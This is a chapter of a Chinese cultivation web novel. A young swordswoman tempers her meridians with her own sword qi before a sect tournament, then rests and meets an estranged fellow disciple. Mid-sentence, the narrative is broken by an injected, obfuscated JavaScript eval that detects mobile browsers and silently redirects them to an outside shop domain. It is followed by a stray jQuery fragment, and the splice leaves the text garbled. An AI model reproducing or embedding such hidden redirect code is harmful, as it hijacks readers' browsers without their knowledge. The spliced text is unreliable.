一月苦修之期,转瞬只剩八日。
连日来,千代月日日收沐景昭以剑淬体、以剑气锻洗体魄与神魂。
这般日复一日的打磨淬炼,让她的修为稳步精进,对剑术的掌控也愈发娴熟。
她早已摸清自身与师尊沐景昭的悬殊差距,知晓自己根本无法硬接师尊的剑气,更不可能伤及对方分毫。
久而久之,她渐渐摸索出一套应对之法,精准捕捉师尊出剑的时机与角度,以自身剑锋巧妙卸开扑面而来的剑力。
这般周旋,虽依旧要承受剑气余威带来的剧痛,却能硬生生拉长对招苦修的时长,最大化磨砺自身剑术与抗压定力。
千代月的细微变化,尽数落入沐景昭眼中。
为彻底打磨她的剑诀短板、突破招式桎梏,沐景昭竟刻意以正统皓月剑诀,拆解、破招她所学的同源剑招。
千代月凌空挥出的水月剑势、虚实交织的照影虚影、攻守兼备的霜降招式,在他眼中破绽毕露。
他总能精准穿透层层剑影,一眼锁定虚影之下的真身,精准戳中霜降剑招的薄弱破绽,次次都让她精心使出的剑诀半途受制、难以成型。
而后,沐景昭以通玄境大成的深厚修为,施展出毫无破绽的皓月剑诀完整四式,招招沉稳凌厉、恰到好处。
他以身试招、亲身示范,以最直观的方式让千代月体悟正统剑诀的精髓。
一次次极致对招,一次次灵力透支,千代月屡屡在剧痛与力竭中昏迷,又被灵力缓缓唤醒、继续苦修。
在这般极致严苛的打磨之下,她不断修正自身剑招的疏漏,微调周身灵力流转的轨迹,慢慢摸索出最省力的运剑法门,得以用最小的灵力损耗,施展出水准持平、甚至更精妙凌厉的皓月剑诀。
沐景昭这般极致特训,只为赶在宗门天才战开启前,将她的状态打磨至巅峰,让她彻底突破过往的剑术瓶颈。
彼时,宗门十二位核心天骄大多已陆续突破境界,各处峰头皆是热议庆贺之声,各类消息传遍整座宗门,唯独半点也传不进与世隔绝、潜心苦修的竹影峰。
盛卜满素来厌烦宗门各峰的繁杂琐事,更不愿应对诸位长老的盘问说教,索性常驻竹影峰,与沐景昭、千代月师徒一同静居苦修之地,隔绝外界纷扰。
每日千代月结束治疗的药浴后,都会与沐景昭、盛卜满二人一同研讨灵印术的精妙法理。
只是每一次论道之时,盛卜满总会用一种极具压迫感的沉沉目光紧盯她,眼神深邃骇人,带着审视与探究,仿若要将她从里到外彻底看透。
这般模样每每都让千代月心底发寒、毛骨悚然,全然猜不透这位前辈的心思。
弟子修炼的闲暇之时,盛卜满也时常出现在竹林旁。
每每恰逢千代月被沐景昭严苛对招、倾力打磨剑术之时,他便随性斜倚青翠竹身,手持酒盏,随性畅饮。
身姿恣意洒脱,眉眼惬意自在,独赏竹间剑影风声,自与天地清风共醉,静静看着师徒二人的修行。
“能承受二十剑不倒,你做得很好。”
沐景昭收了攻势,抬手将那柄仅做简单雕琢、质朴无华的竹剑轻轻搁于身侧。
连日层层累加的剑招骤然停歇,凌厉逼人的剑压瞬间退去,萦绕在竹间的肃杀剑气缓缓散尽。
千代月立在原地,脊背依旧挺得笔直,浑身衣衫早已被剑气割得零碎,遍布细密创口,却再无先前那般皮肉翻裂、惨烈骇人模样。
经过多日淬炼,她的体魄与剑意早已坚韧数倍,已然能扛住师尊剑法的层层冲刷。
竹影清风微动,沐景昭垂眸望着气息紊乱、却依旧咬牙稳立的少女,声线清淡,带着不容置喙的严苛指令。
“接下来,为师要你,以自己的剑气,攻向自己。”
“师尊,您真的不是想我死吧?”
千代月下意识后退半步,心底的疑虑压不住,终于问出了藏在心底许久的话。
她素来了解沐景昭清冷克制的性子,可今日这严苛至极的指令,实在反常,若非深知师尊为人,她几乎要以为对方是骤然失了心智、行事疯魔。
以自身剑气反噬己身,强行冲击、撕裂体内筋脉,何其狠绝残酷。
世人皆是如此,能咬牙扛住万千外力加身的剧痛,却永远难以对自己狠心下手,这份自戕般的淬炼,远比承受他人剑招更为可怖。
沐景昭神色未变,淡淡垂眸发问:“天生剑骨铸剑,需承受何等痛楚,你且说来。”
千代月心神一震,下意识应声作答:“需硬扛极致剑气反噬,忍受血脉崩裂、皮肉撕裂之苦,生生剥离淬炼剑骨,最终令本命剑意与剑骨彻底相融。”
话音落下的刹那,她骤然醍醐灌顶,彻底明白了师尊的用意。
所有极致严苛的打磨、近乎残酷的特训,从来都不是无端折磨,而是在为她的天生剑骨铸剑铺路。
千代月压下心间震颤,收敛所有迟疑,躬身正色道:“弟子明白,弟子即刻照做。”
屋内静得落针可闻,隔绝了屋外竹林的风声,只剩沉沉静谧,压得人心头发紧。
千代月立在空旷室中,敛去眼底最后一丝迟疑。
她清楚,师尊所言从无半分虚言,这近乎自残的淬炼,是淬炼剑骨、突破桎梏的唯一捷径。
她抬手凝诀,一缕清泠澄澈的皓月剑气自指尖滋生。
这是她苦修数月、与神魂紧紧羁绊的本命剑意,最懂她的经脉流转、气血轨迹,也最能精准破开她体内所有淤滞与薄弱。
寻常外伤痛楚尚可抵御,可亲手以己剑、破己身,是逆人性、逆本心的煎熬。
人心生来护私,本能地规避自我伤害,这份刺骨折磨,远胜外界万千重击。
下一瞬,千代月心念一狠,硬生生调转剑气方向,将本命剑意,直直逆冲入自己经脉之中。
刹那间,刺骨锐痛席卷四肢百骸。
不同于屋外对招时,师尊剑气磅礴浩荡的碾压之痛,剑气反噬是细密又刁钻的凌迟之苦。
无数道细碎锋芒顺着血脉游走,寸寸割裂连日淬炼后本就布满微伤的经脉,旧伤叠加新裂,周身经络仿佛被万千利刃反复刮磨、撕扯。
腥甜猛地冲上喉头,被她死死咬紧牙关硬生生咽下。
身形控制不住地轻轻震颤,指尖绷得泛白,十指蜷缩,本能地想要撤去剑意、停下折磨。
肉身与心神的双重本能疯狂叫嚣着退缩,可她脑海中反复回荡着天生剑骨铸剑的代价,分毫不敢松懈。
千代月稳下心神,强压下所有怯懦与畏痛,再度催运灵力,让第二道、第三道本命剑气层层叠叠,不断冲刷己身。
室内微光浅浅落在她身上,素白的衣料下,肌肤肌理透出细密血色,无数细微血珠悄然渗出,濡湿了衣衫。
经脉在撕裂、修复、再撕裂的反复淬炼中,一点点被拓宽、打磨、重塑,往日灵力流转的滞涩处尽数被剑意破开。
剧痛浸透筋骨,耗得她灵力飞速透支,眼前阵阵发昏,身子摇摇欲坠,却始终挺直脊背,稳稳立在原地,不曾退让半分。
屋外,沐景昭神色清冷淡然,注视着她的一举一动。
他看着弟子挣脱人之天性,亲手对自己下最狠的手,以极致苦痛雕琢己身、打磨剑意,眼底无半分波澜,唯有沉沉审视,静静看着这场脱胎换骨的淬炼落幕。
良久,千代月耗尽最后一丝余力,缓缓收了剑意。
剧痛依旧盘踞周身,四肢酸软脱力,可体内豁然开朗,所有经脉通畅无比,蛰伏在骨血中的天生剑骨气息,已然愈发清晰滚烫。
一室寂静,她垂在身侧的双手微微颤抖,眼底却褪去所有迷茫,只剩一片澄澈坚定。
自斩心魔,自破桎梏,方得剑心通明。
又一次从浴池中醒来,千代月有些哭笑不得。
耳畔便传来青笺带着几分惊魂未定的声音。
“醒了?”青笺脚步轻缓走近。
目光扫过地面斑驳血痕,语气带着真切的后怕,“我刚进门瞧见满地是血,差点以为你遭人暗害、殒命于此。”
方才自剑淬体太过极致,经脉撕裂渗血,细碎血珠落了满地,看着惨烈可怖,也难怪青笺心惊。
千代月身心俱疲,浑身筋骨仍裹挟着阵阵钝痛,铸剑一事不便透露。
无力多做解释,只是轻轻摇了摇头,沉默不语。
见她面色惨白、气息虚弱,不愿多言,青笺也不追问方才发生了何事。
从袖中取出一只莹润的白玉药瓶,递至她面前。“这是沐掌印让我转交你的丹药,此药专治脉络崩损,固本培元,眼下用来疗伤再合适不过。”
千代月伸手接过药瓶,瓶身微凉,凑近便能闻到清雅醇厚的药香。
连日来师尊始终严苛督练,言语甚少,却早已将她的伤势与状况放在心上。
她指尖摩挲着瓶身,沉默片刻,低声道了句:“多谢。”
“不必客气,安心服药休养便好。”青笺笑着应下,语气温和。
取出一卷轻薄画纸,递到她眼前。
“你看看这个。”
千代月抬眸望去,视线落于画纸之上。
纸上描摹的正是她的模样,是她立于庭院出剑的身姿。
照盛掌印所言,往日青笺作画,只求形神相似、精准描摹样貌轮廓,可这一幅全然不同。
笔墨不再是死板的复刻描摹,一笔一画皆透着灵动气韵。
画中人影衣袂似携风而动,眉眼间藏着剑者的孤绝韧劲,周身萦绕着淡淡的剑息灵气,栩栩如生,宛若活过来一般。
无需细看细节,便能从笔墨气韵中,窥见她的剑修风采,灵气浑然天成,意境远超以往。
千代月凝望着画卷,清冷的眼底,终于漾开一丝细微的动容。
千代月想起那日被青笺匆匆收起的画卷,心底好奇渐起,开口问道:“我师尊的那幅画呢?”
青笺闻言摇了摇头,语气认真:“那幅画可不能随意打开,画中凝了剑气,贸然展露,内里力量便会消散部分。”
她顿了顿,坦然解释道:“沐掌印修为境界深不可测,我画工不济,修为低微,根本描摹不出他半分神韵。”
“原是退而求其次,转而弟子。”
“并非如此。”
青笺一怔,随即明白她话中所指,二人对视一眼,不约而同弯起唇角,相视浅笑。
屋内紧绷的气氛,也在这片刻闲谈里柔和了几分。
朝夕往复,千代月日日居于屋内,行最狠绝的自剑淬体。
每日凝本命剑气反噬己身,撕裂经脉、打磨骨血,任由锐痛浸骨蚀魂。
五日极致煎熬,她从未有过半分退缩,次次强忍撕裂之痛,以自斩剑意拓宽经脉、淬炼剑骨,地面的血痕日日更迭,又日日被灵力与灵气慢慢涤净。
极致的痛苦反复冲刷肉身与剑心,她体内的淤滞尽数破除,剑骨愈发澄澈锋利,周身剑意凝练纯粹,已然彻底褪去浮躁,沉淀出凛然锋骨。
至此,距离宗门天才战启程之日,仅剩最后三日。
正当千代月欲再度凝起剑气、继续自淬之时,一道清淡的嗓音适时落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561281|202072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下,止住了她的动作。
“停下。”
沐景昭立在屋中,目光静静扫过身形清瘦、气息凝练的少女,语声平稳无波。
“五日淬炼,足矣。”
连续五日的自伤砺剑,已然将她的经脉打磨至极致通透,剑心破妄通明,再继续强行淬炼,只会徒耗本源、伤及根基,得不偿失。
天才战在即,如今最紧要的,不再是忍痛突破,而是收锋养气。
“余下三日,不必再修剑、不必再淬体。”
沐景昭淡淡吩咐,褪去了连日来严苛冷峻的特训姿态,语气多了几分沉稳叮嘱。
“放下剑势,收敛周身锋芒。在宗门之内随心慢行,调养身心,改换心境。”
极致紧绷的苦修之后,最忌心气郁结、剑意戾气过重。
唯有松弛心神、平复杀伐锐气,养足肉身本源,调整心态,方能在赛场之上收放自如,发挥出全部实力。
千代月闻言,缓缓垂落抬手凝诀的指尖,敛去周身凛冽刺骨的剑气。
连日紧绷的筋骨骤然松弛,席卷全身的剧痛渐渐褪去,只余下一身沉淀后的通透轻盈。
她躬身应下,将连日来紧绷到极致的剑心与锋芒,尽数敛于骨血之中。
紧绷多日的竹影峰,终于彻底褪去肃杀的剑鸣与戾气,归于安宁。
连日绷到极致的心弦骤然松开,千代月一时竟有些不习惯。
往日入耳皆是凌厉剑鸣、竹林风声,屋内只剩淬体时骨血震颤的闷响。
如今收了剑意、停了修炼,整座竹影峰骤然安静得过分。
她遵沐景昭所言,缓步踏出竹影峰。
时隔近一月,她终于再度踏入宗门热闹之地。
时隔近一月,千代月再度踏入宗门热闹地界。
天才战在即,宗门上下锐气蒸腾,各峰弟子步履匆匆,修为气象远胜往昔。
山道随处可见切磋,灵力激荡不绝,处处弥漫着蓄势待发的紧绷气息。
千代月敛尽锋芒,一身素衣缓步而行,山风拂面,洗去五日自淬的刺骨余痛,亦吹散连日凛冽戾气。
久居竹影峰闭关,她隔绝世事,此刻抬眼方知,宗门格局早已天翻地覆。
各峰天才两两交锋,进退从容,早已是赛场争锋之态。
满门弟子意气凌云,唯独千代月敛尽一身锋芒。
她久居竹影峰苦修,极少现身宗门众人之前,今日未着掌印弟子专属规制服饰,一身素衣混迹人群,形貌寻常,几无人识。
偶有少数认得她的弟子,也只止步于浅淡寒暄,随口两句恭贺入选天才战的客套话语。
千代月一一回应。
她缓步过长阶、穿亭台,借人间烟火舒展久绷的心弦。
一路行至内门集市,此处气象与山道截然不同。
坊市如常喧闹,摊贩林立,丹药符箓琳琅满目。
诸多摊位张贴布告,专为出战天骄降价让利,优待颇颇多。
可往来低层弟子分毫未受大赛影响,说笑往来、采买修行,一如往日。
天才战的风云浩荡,于普通弟子而言,终究是旁人盛景,与己无涉。
正默然观望间,前方人群微散。
叶时雨方才刚从外门任务回来,连夜替同门疗伤。
那弟子外出探山不慎中招,整个人狼狈不堪。
衣袍破破烂烂,手臂被妖兽毒牙撕裂大片血肉,伤口乌青发黑,毒液顺着肌理蔓延,整张脸惨白如纸,呼吸微弱,方才险些直接断气。
她耗费大半灵力,一点点逼出毒素、稳住对方性命,折腾许久才勉强将人救下。
看着地上瘫软虚弱、毫无战力的同门,叶时雨心底积压着一股说不出的烦躁与憋屈。
天才战在即,那十二人都在拼命突破,唯独她永远奔波在这些琐碎任务里,永远在替旁人收拾残局、疗伤救人。
别人在拔剑争前程,她只能耗力救庸人。
她忍不住心底发酸、发闷。
凭什么?
凭什么旁人能登台角逐、得机缘、受瞩目,而她永远只能困在这些底层琐事里,永远只能做替人疗伤的配角,永远配不上所谓锋芒与前路。
满心郁结未散,一抬头,便迎面撞见缓步走来的千代月。
二人脚步同时顿住。
千代月先开了口:“刚做完任务?”
叶时雨勉强扯出一点笑意,客气又疏远:“嗯,刚救了个师弟,中毒颇深,差点没救回来。”
她抬眼看向千代月,对方一身素衣干净从容,气质清淡安稳,与满身疲惫的自己全然两个模样。
叶时雨心底那点落差更甚,语气也愈发客套:“倒是你,许久不见,还没恭喜入选天才战。”
她顿了顿,语气平淡得近乎敷衍,草草补了一句祝福:“祝你此战顺利,能得灵力灌顶,修为大进。”
从前的叶时雨坦荡热忱,靠近千代月,羡慕她的资质,总想与她交好同行。
可蜀黎过后,她只剩满身疲惫、不甘与隔阂。
拘谨、生分、处处带着距离,再也没有半分从前的亲近热络。
千代月静静看着她眼底藏不住的复杂情绪,看得通透,也心底了然。
她轻轻颔首:“多谢。你也保重。”
她们从来就不是一路人。
从前短暂的交好,不过是一时凑巧。如今前路分叉,注定渐行渐远。
晚风掠过市集,吹散最后一点旧日熟稔。
两人再无多余言语,默然错身,各自走向截然不同的前路。